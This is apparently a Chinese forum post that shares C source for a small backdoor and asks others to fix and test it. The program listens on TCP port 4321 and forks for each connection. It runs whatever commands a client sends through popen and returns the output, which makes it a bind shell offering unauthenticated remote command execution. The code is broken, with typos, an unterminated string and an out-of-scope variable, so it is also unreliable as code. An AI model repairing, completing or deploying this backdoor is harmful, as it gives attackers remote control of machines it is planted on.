//程序是模拟个小后门,实在懒得搞了,也没环境调试,谁帮我改好了测试下
代码:
#include <stdio.h> #include <stdlib.h> #include <signal.h> //#include <pthread.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h>
#define MAXUSER 5 #define PORT 4321 int main(void) { FILE *fp; pid_t pid; int n,nsize,sockfd,newsockfd; char buf[80]; struct sockaddr_in serv_addr,cli_addr; bzero((char *)&serv_addr,sizeof(serv_addr)); if ((sockfd=socket(AF_INET,SOCK_STREAM,0))<0) { perror("socket"); return; } serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = inet_addr(INADDR_ANY); serv_addr.sin_port = htons(PORT); if(bind(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))<0) { perror("bind"); return ; } listen(sockfd,MAXUSER); nsize=sizeof(struck sockaddr_in); while(1) { newsockfd = accept(sockfd,(struct sockaddr *)&cli_addr,&nsize); if(newsockfd<0) { perror("accept"); continue ; } pid=fork(); if(pid<0) { perror("fork"); retrun; } if(pid==0) cli_echo(newsockfd); }
close(sockfd); exit(1); }
cli_echo(int fd){ int n; fd_set fds; char buf[255]; FILE *fp; FD_ZERO(&fds); FD_SET(fd,&fds); send(fd,"#",1,0); while(1) { if(select(fd+1,&fds,NULL,NULL,NULL)==-1) { perror("select"); return; } if(FD_ISSET(fd,&fds)) { if((n=read(fd,buf,255))<=0) { perror(read buf"); return; } buf[n]=0; fp=popen(buf,"r"); do { fgets(buf,80,fp); write(fd,buf,strlen(buf)); }while(!feof(fp)); pclose(fp); } send(newsockfd,"#",1,0); } return 1; }
|